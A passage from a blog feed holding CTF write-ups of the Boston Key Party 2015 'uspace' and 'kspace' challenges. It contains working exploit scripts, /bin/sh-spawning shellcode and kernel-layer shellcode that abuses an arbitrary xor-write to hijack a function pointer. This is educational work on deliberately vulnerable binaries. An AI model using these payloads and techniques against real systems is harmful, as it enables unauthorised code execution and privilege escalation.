&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'create fmt&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'%280x'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pop_pop_ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'cat fmt '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'shell.bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p class=&quot;filename&quot;&gt;shell.asm&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;[BITS 64]

section .text
global _start
_start:

lea rdi, [rel binsh]
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall

binsh:
db '/bin/sh',0
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p class=&quot;filename&quot;&gt;Pwn it!&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;python pwn_uspace.py
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; ../uspace/payload&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; -&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; ./tz
bksh&amp;gt; bksh&amp;gt;
&lt;span class=&quot;nb&quot;&gt;whoami
&lt;/span&gt;uspace&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We have successfully got a shell as &lt;em&gt;uspace&lt;/em&gt; user.
(Note that since the challenge servers are down, the exploitation is shown in a local setup.)&lt;/p&gt;

&lt;p&gt;Once we have arbitrary code running on uspace, we can then perform syscalls that are exposed by the kernel, but not available through a user-space interface (such as syscall number 92, shown below).&lt;/p&gt;

&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;

&lt;figure&gt;
	&lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/uspace_4.png&quot; data-lightbox=&quot;quincy-center&quot; data-title=&quot;kspace syscall handler&quot;&gt;
		&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/uspace_4.png&quot; alt=&quot;kspace syscall handler&quot; /&gt;
	&lt;/a&gt;
&lt;figcaption&gt;
    kspace syscall handler
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The analysis of kspace &amp;amp; tz will be continued on the next post.&lt;/p&gt;

&lt;p&gt;Write-up by Cai (Brian Pak) [&lt;a href=&quot;http://www.bpak.org&quot;&gt;https://www.bpak.org&lt;/a&gt;]&lt;/p&gt;
</description>
        <pubDate>Sat, 07 Mar 2015 00:00:00 +0000</pubDate>
        <link>https://pwning.net/pwn/2015/03/07/bkpctf-2015-quincy-center-uspace-write-up/</link>
        <guid isPermaLink="true">https://pwning.net/pwn/2015/03/07/bkpctf-2015-quincy-center-uspace-write-up/</guid>
      </item>
    
      <item>
        <title>quincy-adams (kspace)</title>
        <description>&lt;p&gt;This is a write-up for &lt;strong&gt;quincy-adams&lt;/strong&gt; challenge, which is the second part of 3-chained pwnable challenge from &lt;a href=&quot;https://ctftime.org/event/163&quot;&gt;Boston Key Party CTF&lt;/a&gt; last weekend.  &lt;em&gt;You can also read from the &lt;a href=&quot;https://www.bpak.org/blog/2015/03/bkpctf-2015-quincy-adams-kspace-write-up/&quot;&gt;origial post&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The binaries were packaged into a &lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/zenhv-e941cb4585deafcf5a1b86050a3ebe7a.gz&quot;&gt;tar ball&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The MBTA wrote a cool system. It’s pretty bad though, sometimes the commands work, sometimes they don’t…
Exploit it. (kspace flag) 54.165.91.92 8899&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The goal is to get “kspace” flag by exploiting the kernel space process.&lt;/p&gt;

&lt;p&gt;Before we dive in, let’s look at what is really going on.&lt;/p&gt;

&lt;p&gt;We can think of each process (tz, kspace, uspace) as a separate privilege ring, as their name suggest.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;tz&lt;/strong&gt; (TrustZone?) — a “hypervisor” layer that implements the “hypercalls” (we haven’t really reversed this too much).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;kspace&lt;/strong&gt; — a kernel layer that implements the “syscalls”; it maintains the files array and performs the actual tasks such as listing files, removing files, sleeping, and cat’ing (open &amp;amp; read).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;uspace&lt;/strong&gt; — a user layer that implements the interface that the user interacts with; it parses the commands and calls the appropriate “syscalls”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We would start from the &lt;strong&gt;uspace&lt;/strong&gt; to get an arbitrary code execution on &lt;strong&gt;uspace&lt;/strong&gt; process (as we did in previous write-up), then exploit the &lt;strong&gt;kspace&lt;/strong&gt; to allow us to perform an attack against &lt;strong&gt;tz&lt;/strong&gt;. Shared memory is arranged by &lt;strong&gt;tz&lt;/strong&gt;, such that each layer will get its own memory “space” to pass the arguments to {sys, hyper}calls.&lt;/p&gt;

&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;

&lt;figure&gt;
	&lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_0.png&quot; data-lightbox=&quot;quincy-adams&quot; data-title=&quot;kspace syscall_handler (sub_401180)&quot;&gt;
		&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_0.png&quot; alt=&quot;kspace syscall_handler (sub_401180)&quot; /&gt;
	&lt;/a&gt;
&lt;figcaption&gt;
    kspace syscall_handler (sub_401180)
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;We can see that the syscall numbers, which is stored on &lt;strong&gt;user_space[0]&lt;/strong&gt;, match with what we saw on &lt;strong&gt;uspace&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;do_ls&lt;/strong&gt; loops through the &lt;strong&gt;file_array&lt;/strong&gt; list and prints out the name of the file.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;do_rm&lt;/strong&gt; finds the file in &lt;strong&gt;file_array&lt;/strong&gt; with a given filename, and deletes it.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;do_create&lt;/strong&gt; adds a file into &lt;strong&gt;file_array&lt;/strong&gt; up to 16 files. It looks for the spot/bin in the array by checking if the filename is null.
This also initializes the file structure:
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;open_file&lt;/strong&gt;, &lt;strong&gt;read_file&lt;/strong&gt;, and &lt;strong&gt;delete_file&lt;/strong&gt; are the function pointers.
        &lt;ul&gt;
          &lt;li&gt;Note that &lt;strong&gt;syscall 95&lt;/strong&gt; and &lt;strong&gt;99&lt;/strong&gt; are &lt;strong&gt;sleep&lt;/strong&gt; and &lt;strong&gt;exit&lt;/strong&gt;, respectively, which are not that interesting :p&lt;/li&gt;
          &lt;li&gt;&lt;strong&gt;do_read&lt;/strong&gt; finds the file in &lt;strong&gt;file_array&lt;/strong&gt; with a given filename, and if the file is “open”, its content is copied to the output buffer (2nd argument).&lt;/li&gt;
          &lt;li&gt;&lt;strong&gt;do_open&lt;/strong&gt; finds the file in &lt;strong&gt;file_array&lt;/strong&gt; with a given filename, and changes its open state.
            &lt;ul&gt;
              &lt;li&gt;Only up to 9 files can be open simultaneously.
&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;&lt;/li&gt;
            &lt;/ul&gt;
          &lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;figure&gt;
	&lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_1.png&quot; data-lightbox=&quot;quincy-adams&quot; data-title=&quot;file struct&quot;&gt;
		&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_1.png&quot; alt=&quot;file struct&quot; /&gt;
	&lt;/a&gt;
&lt;figcaption&gt;
    file struct
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;There is a bug with file creation and deletion, where the number of files in the list gets incremented when creating a file, but it does not get decremented when being deleted. Thus, we can only create up to 16 files and we can’t create any more file even if we delete some. This didn’t really affect the exploitation, however :)&lt;/p&gt;

&lt;p&gt;If you followed carefully, you’d have noticed that we didn’t go over the mysterious &lt;strong&gt;syscall 92&lt;/strong&gt; (sub_402380).&lt;/p&gt;

&lt;p&gt;This operation, unlike other ones, does not process the user input/arguments here. Instead, it forwards these arguments to &lt;strong&gt;tz&lt;/strong&gt; via the “hypercall”.&lt;/p&gt;

&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;

&lt;figure&gt;
	&lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_2.png&quot; data-lightbox=&quot;quincy-adams&quot; data-title=&quot;syscall 92 (kspace)&quot;&gt;
		&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_2.png&quot; alt=&quot;syscall 92 (kspace)&quot; /&gt;
	&lt;/a&gt;
&lt;figcaption&gt;
    syscall 92 (kspace)
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;To be more precise, the 3 arguments are stored starting at &lt;strong&gt;kernel_space + 48&lt;/strong&gt;, and the hypercall takes 3 arguments of the &lt;strong&gt;hypercall number (92)&lt;/strong&gt;, &lt;strong&gt;**, and the **pointer to the arguments (kernel_space + 48)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So what does this hypercall do? Let’s take a look at &lt;strong&gt;tz&lt;/strong&gt; binary now.&lt;/p&gt;

&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;

&lt;figure&gt;
	&lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_3.png&quot; data-lightbox=&quot;quincy-adams&quot; data-title=&quot;hypercall handler (tz)&quot;&gt;
		&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_3.png&quot; alt=&quot;hypercall handler (tz)&quot; /&gt;
	&lt;/a&gt;
&lt;figcaption&gt;
    hypercall handler (tz)
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;As we can see above, &lt;strong&gt;sub_401560&lt;/strong&gt; is the hypercall 92 handler.
It doesn’t really do anything too fancy. The function performs a very simple “encryption” of data.&lt;/p&gt;

&lt;!--figure tags without plugin: http://stackoverflow.com/questions/19331362/using-an-image-caption-in-markdown-jekyll --&gt;

&lt;figure&gt;
	&lt;a href=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_4.png&quot; data-lightbox=&quot;quincy-adams&quot; data-title=&quot;hypercall 92 handler&quot;&gt;
		&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2015/03/kspace_4.png&quot; alt=&quot;hypercall 92 handler&quot; /&gt;
	&lt;/a&gt;
&lt;figcaption&gt;
    hypercall 92 handler
&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;It basically &lt;strong&gt;xor&lt;/strong&gt;’s the bytes at &lt;strong&gt;src&lt;/strong&gt; with the &lt;strong&gt;key&lt;/strong&gt; “charlestown isn’t that skeytchy.” and stores the result to &lt;strong&gt;dest&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;There is no restriction on the memory address for &lt;strong&gt;dest&lt;/strong&gt; (other than checking if it’s 0x100000000), which allows us to do &lt;span style=&quot;text-decoration: underline;&quot;&gt;arbitrary (xor) write&lt;/span&gt;. By preparing the &lt;strong&gt;src&lt;/strong&gt; buffer with already xor’d values, we can write any value we want to any memory location.&lt;/p&gt;

&lt;p&gt;So, we can use this capability(?) to write useful data structure (such as a function pointer) to gain arbitrary code execution!&lt;/p&gt;

&lt;p&gt;Just like &lt;strong&gt;uspace&lt;/strong&gt;, &lt;strong&gt;kspace&lt;/strong&gt; has NX disabled, so we can put our shellcode somewhere and jump to it.&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;The attack plan is as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Create a file, with the content being the shellcode we want to run as kernel.&lt;/li&gt;
  &lt;li&gt;Overwrite a function pointer (open_file) for the first file (which is the one that we just created in step 1) with the pointer to our shellcode.
    &lt;ul&gt;
      &lt;li&gt;The &lt;strong&gt;file_array&lt;/strong&gt; is located at kernel_space + 0x3E800 == &lt;strong&gt;0x90003e800&lt;/strong&gt;.&lt;/li&gt;
      &lt;li&gt;According to our &lt;strong&gt;struc_files&lt;/strong&gt; struct, file_array &lt;strong&gt;+ 0x8&lt;/strong&gt; points to the &lt;strong&gt;files&lt;/strong&gt; array.&lt;/li&gt;
      &lt;li&gt;Thus, the first file structure will be located at &lt;strong&gt;0x90003e808&lt;/strong&gt; and according to our &lt;strong&gt;struc_file&lt;/strong&gt;, its content is located at the offset &lt;strong&gt;+0x9&lt;/strong&gt;.&lt;/li&gt;
      &lt;li&gt;The first file’s content == &lt;strong&gt;shellcode&lt;/strong&gt; == 0x90003e800 + 0x8 + 0x9 == &lt;strong&gt;0x90003e811&lt;/strong&gt;.&lt;/li&gt;
      &lt;li&gt;The first file’s &lt;strong&gt;open_file&lt;/strong&gt; function pointer is at &lt;strong&gt;+0x118&lt;/strong&gt; from the file structure, which makes its location &lt;strong&gt;0x90003e920&lt;/strong&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Invoke a syscall #93, which opens a file.
    &lt;ul&gt;
      &lt;li&gt;At this point, we will tell it to open our file which has corrupted &lt;strong&gt;open_file&lt;/strong&gt; function pointer — thus, calling into our shellcode.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p class=&quot;filename&quot;&gt;shell.asm&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;  [BITS 64]
  section .text
  global _start
  _start:

  ; sem_lock(sem_io, 0)
  mov edi, [0x6024a8]
  xor esi, esi
  mov eax, 0x401A90
  call rax

  ; syscall 92 (encrypt)
  push qword [rel data]       ; 0x90003e811 (xor'd)
  mov rax, [0x602498]         ; user_space
  mov qword [rax], 92         ; syscall #92
  mov qword [rax + 8], rsp    ; src (ptr to data)
  mov rcx, [rel dst]          ;
  mov qword [rax + 16], rcx   ; dst (0x90003e920)
  mov qword [rax + 24], 0x8   ; len

  ; sem_unlock(sem_io, 0)
  mov edi, [0x6024a8]
  xor esi, esi
  mov eax, 0x401AC0
  call rax

  ; sleep(1)
  mov rdi, 1
  mov rax, 0x400C30
  call rax

  ; sem_lock(sem_io, 0)
  mov edi, [0x6024a8]
  xor esi, esi
  mov eax, 0x401A90
  call rax

  ; syscall 93 (open)
  push qword [rel data]       ; now has 0x90003e811
  mov rax, [0x602498]         ; user_space
  mov qword [rax], 93         ; syscall #93
  lea rcx, [rax + 16]         ; (using user_space + 16 as scratch)
  mov qword [rax + 8], rcx    ; filename
  mov rcx, [rel lol]
  mov qword [rax + 16], rcx   ; filename &amp;amp;lt;- &amp;amp;(&quot;lol&quot;)

  ; sem_unlock(sem_io, 0)
  mov edi, [0x6024a8]
  xor esi, esi
  mov eax, 0x401AC0
  call rax

  data:
  dq 0x7473656572628072   ; 0x90003e811 ^ 0x7473656c72616863 (key)
  dst:
  dq 0x90003e920
  lol:
  db 'lol',0
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Note that since we are using syscal #92 (encrypt) to perform an arbitrary write to memory, we have to “encrypt” the value we want to write beforehand such that it will get “decrypted” when it writes. The filename we used is “lol”.&lt;/p&gt;

&lt;p class=&quot;filename&quot;&gt;pwn_kspace.py&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/python
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;Q'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unpack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;Q'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'payload'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'wb'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'create lol&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'shell.bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;pop_pop_ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x40110F&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;stage1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'stage1.bin'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'create fmt&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x400&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'#'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'%280x'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pop_pop_ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ljust&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

